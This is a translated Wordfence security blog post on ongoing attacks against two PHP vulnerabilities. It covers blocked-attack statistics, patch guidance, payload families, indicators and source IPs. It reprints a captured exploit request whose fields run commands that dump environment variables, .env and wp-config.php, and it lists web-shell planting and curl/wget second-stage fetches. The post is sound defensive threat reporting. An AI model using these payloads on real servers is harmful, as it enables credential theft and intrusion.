跳到正文
原文
Wordfence 官方博客· Chloe Chamberland·· 6 天前精选编辑评分84

Wordfence 称 PHP2Shell 攻击持续,尚未发现已知入侵事件

Attacks on PHP2Shell Continue, But No Known Compromises as a Result Yet

编辑导读

Wordfence 称针对 PHP 漏洞 CVE-2026-109618 和 CVE-2026-109619 的攻击仍在持续,但尚未观察到由这两项漏洞导致的确认入侵。

推荐理由

原文提供漏洞利用样本、攻击目标和处置步骤,可帮助站长识别异常请求并核对 PHP 修复状态。

2026年10月21日,PHP 项目发布了针对两个严重漏洞的紧急更新,漏洞编号分别为 CVE-2026-109618 和 CVE-2026-109619。在修复程序发布之前,我们就向网站所有者发出了警告;在我们的团队审查漏洞详情并开始测试已修复和存在漏洞的 PHP 版本后,我们又跟进发布了通知。目前,我们尚未发现任何已确认的入侵事件,而考虑到 Wordfence 为超过 5,000,000 个 WordPress 网站提供安全防护,这清楚表明此次利用的复杂程度较高。

通过内置的防火墙防护,Wordfence Firewall 已拦截超过 74,000 次与新披露漏洞相关的利用或探测尝试,以及滥用同一 PHP multipart 和 session-upload-progress 攻击面的相关攻击。为了更好地追踪和评估不断演变的威胁态势,我们正在积极扩展监控能力。

修复方案保持不变:安装 PHP 8.5.12、8.4.27、8.3.36 或 8.2.35,或安装供应商明确确认包含两项修复的程序包,并重启每个 PHP worker。更新 WordPress 本身并不会更新 PHP。

Bar chart: blocked exploit and probing attempts per day - Oct 20: 1,174; Oct 21: 44,394; Oct 22: 29,307.

攻击数据

其中一个规模最大且清晰可识别的攻击集群使用了类似以下的请求。multipart 请求体包含重复字段,携带疑似命令执行结构以及试图读取 .env 和 wp-config.php 的命令。

POST / HTTP/1.1
Connection: close
Cookie: %5Bredacted%5D=%5Bredacted%5D;
Accept-Language: en-US,en;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Host: [redacted]
Content-Type: multipart/form-data; boundary=p2s0adf525faa
Content-Length: 63395

--p2s0adf525faa
Content-Disposition: form-data; name="PHPSESSID"

d1f6b03d7696286fe2bb0537a5
--p2s0adf525faa
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

x
--p2s0adf525faa
Content-Disposition: form-data; name="t[0]"

@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;head -c 200 .env ../.env ../../.env wp-config.php0000000000000000
--p2s0adf525faa
Content-Disposition: form-data; name="t[1]"

@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;head -c 200 .env ../.env ../../.env wp-config.php0000000000000000
--p2s0adf525faa
Content-Disposition: form-data; name="t[135]"
[truncated]
@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;head -c 200 .env ../.env ../../.env wp-config.php0000000000000000
--p2s0adf525faa
Content-Disposition: form-data; name="t[136]"

@0000000AAAAAAAA000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AAAAAAAA00000000000000000000000000000000000000system0echo P2S_OK;env;he
--p2s0a"

该请求不仅仅是通用的上传探测。重复的 t[n] 字段符合试图制造内存压力并影响请求内存分配的模式,而嵌入的 system 字符串和 P2S_OK 标记则表明存在预期的命令执行阶段。我们从请求中截断了 134 个 t[n] 字段。如果成功,示例命令将返回环境变量,以及常见的 WordPress 和应用程序配置文件的部分内容。仅凭该请求并不能证明发生了内存损坏或命令执行,但它为攻击者的尝试提供了宝贵见解。

观察到的漏洞利用家族

我们分析了 10 月 20 日至 10 月 22 日期间收集的 10,000 个事件样本。该样本是围绕引用 PHP_SESSION_UPLOAD_PROGRESS 的请求选取的,因此不应被视为所有潜在恶意流量的代表性样本。尽管如此,它仍展示了几个不同的载荷家族,而非单一的概念验证。

观察到的载荷家族 事件数 可能目的
P2S 疑似 OOM/状态损坏 RCE 尝试 3,752 塑造请求内存分配,尝试执行命令并窃取配置数据
Laravel 反序列化对象 gadget chain 尝试 1,139 尝试调用可用的应用程序 gadget 来执行 shell 命令
其他反序列化对象载荷 2,534 尝试利用 Monolog、Symfony、Guzzle、WordPress、ThinkPHP 及其他已安装类
相关的 NxSP 会话文件投毒尝试 512 投毒临时会话文件,并将其与另一个本地文件包含漏洞配合利用
相关的带外 PHP 上传 canary 30 测试其他上传或执行原语是否会触发回调

反序列化对象计数描述的是载荷特征,可能与其他行为类别重叠。事件样本包含的是请求,而非响应正文或端点遥测数据,因此这些数字衡量的是尝试进行的漏洞利用,而非成功入侵。

归因很重要:P2S 和序列化对象流量与试图武器化利用近期 PHP 修复所涵盖行为相符。NxSP 会话投毒请求和小型 PHP 上传金丝雀使用相同的 multipart 或上传进度界面,但它们依赖于不同的缺陷或应用程序行为,因此不应将其描述为已确认利用 CVE-2026-109618 或 CVE-2026-109619。

攻击者试图做什么

  • 确认命令执行,使用 P2S_OK、NxSP<number> 和 SHL_OK 等标记。
  • 对服务器进行画像,运行 id、uname -a 和 hostname 等命令。
  • 窃取凭据和机密,从环境变量、.env 和 wp-config.php 中获取。
  • 安装持久化访问权限,搜索常见的 CMS 目录,并尝试将名为 wp2s.php 的 PHP 命令 shell 写入可写的上传、插件或主题位置。
  • 检索并执行第二阶段载荷,使用 curl、wget 和 shell 解释器。
  • 通过带外方式验证执行情况,使用 oast.pro、oast.fun 和 oast.online 等服务下的唯一回调主机名。

供防御方参考的非 IP 指标

P2S_OK
NxSP[0-9]+
SHL_OK
ADV618BOUNDARY
----P2SB
wp2s.php
php2shell.php
axiom_*.php
php-to-shell
Illuminate\Broadcasting\PendingBroadcast
Monolog\Handler\BufferHandler
Requests_Utility_FilteredIterator

攻击源 IP 排名

下面最活跃的 20 个源地址占被阻止尝试的最大比例。

# IP 地址 被阻止的尝试次数 数量
1 87.121.84.174 8,525
2 181.215.186.252 7,856
3 185.196.220.132 7,146
4 185.161.210.29 5,796
5 152.233.51.69 5,317
6 45.134.225.16 3,623
7 107.189.14.87 2,365
8 193.47.62.24 2,263
9 2409:40d2:204e:4be:2a1f:f9c9:a055:e00b 1,953
10 103.147.220.17 1,860
11 143.246.223.124 1,791
12 52.74.54.75 1,260
13 65.49.200.56 836
14 193.142.147.111 775
15 85.137.56.188 672
16 85.137.53.26 664
17 167.254.242.130 648
18 217.112.152.168 619
19 203.78.119.133 616
20 140.245.32.169 616

我们的评估

漏洞利用仍对 PHP 配置、SAPI、已加载扩展、应用程序类和 worker 状态敏感。然而,这些流量并不限于通用或格式错误的探测请求。我们观察到了一些精心构建的请求,它们将内存压力技术、序列化对象 gadget 链、命令执行标记和漏洞利用后操作结合起来。

这些载荷的存在并不能证明目标网站已被成功攻陷。请求数据确实显示出明确的意图,包括执行命令、窃取配置数据、安装持久化 PHP 访问权限以及检索额外载荷。要确认是否成功,需要来自目标服务器的响应、文件系统、进程、worker 崩溃、DNS 或出站 HTTP 证据。

这些观察结果与我们此前发布的测试一致。在一台经过特殊配置的 PHP 8.5.11 Apache 实验环境中,我们在测试 CVE-2026-109619 时确认了代码执行;同一概念验证在常规优化 PHP 8.5.11 构建中导致崩溃,而已修复的 PHP 8.5.12 则保持健康。对于 CVE-2026-109618,我们复现了存在漏洞与已修复版本之间的行为差异,但未独立实现代码执行。这里分析的生产流量不会改变这些实验结果,也不能证明现实中成功利用了漏洞。

目前,我们尚未观察到由这些漏洞导致的任何已确认攻陷。我们正在继续密切监测局势,并将在获得更多细节后予以公布。遥测数据中没有已确认的攻陷,并不意味着未打补丁的服务器是安全的,尤其是某些相关故障和回调可能发生在 WordPress 应用程序及其日志之外。不过,这也说明实际利用过程确实十分复杂。

Wordfence Care 和 Wordfence Response 客户如果认为其网站可能已遭攻陷,可以联系我们的事件响应团队。Wordfence Response 提供全天候服务,响应时间为一小时。

如果您认识负责管理 WordPress 网站的人,请分享本文,并请他们检查每个网站背后的 PHP 服务。

📨 如果您有网站,或知道有人因其中一种漏洞而导致网站被入侵,请将任何相关的样本和详细信息发送至 samples@wordfence.com。这些信息将帮助我们让社区及时了解情况、改进防护措施,并更好地保护网站所有者。

这篇文章《针对 PHP2Shell 的攻击仍在继续,但目前尚未发现由此造成的入侵》最初发布于 Wordfence。

来源:Wordfence 官方博客 · https://www.wordfence.com/blog/2026/10/attacks-on-php2shell-continue-but-no-known-compromises-as-a-result-yet/

部分链接为推广/关联链接。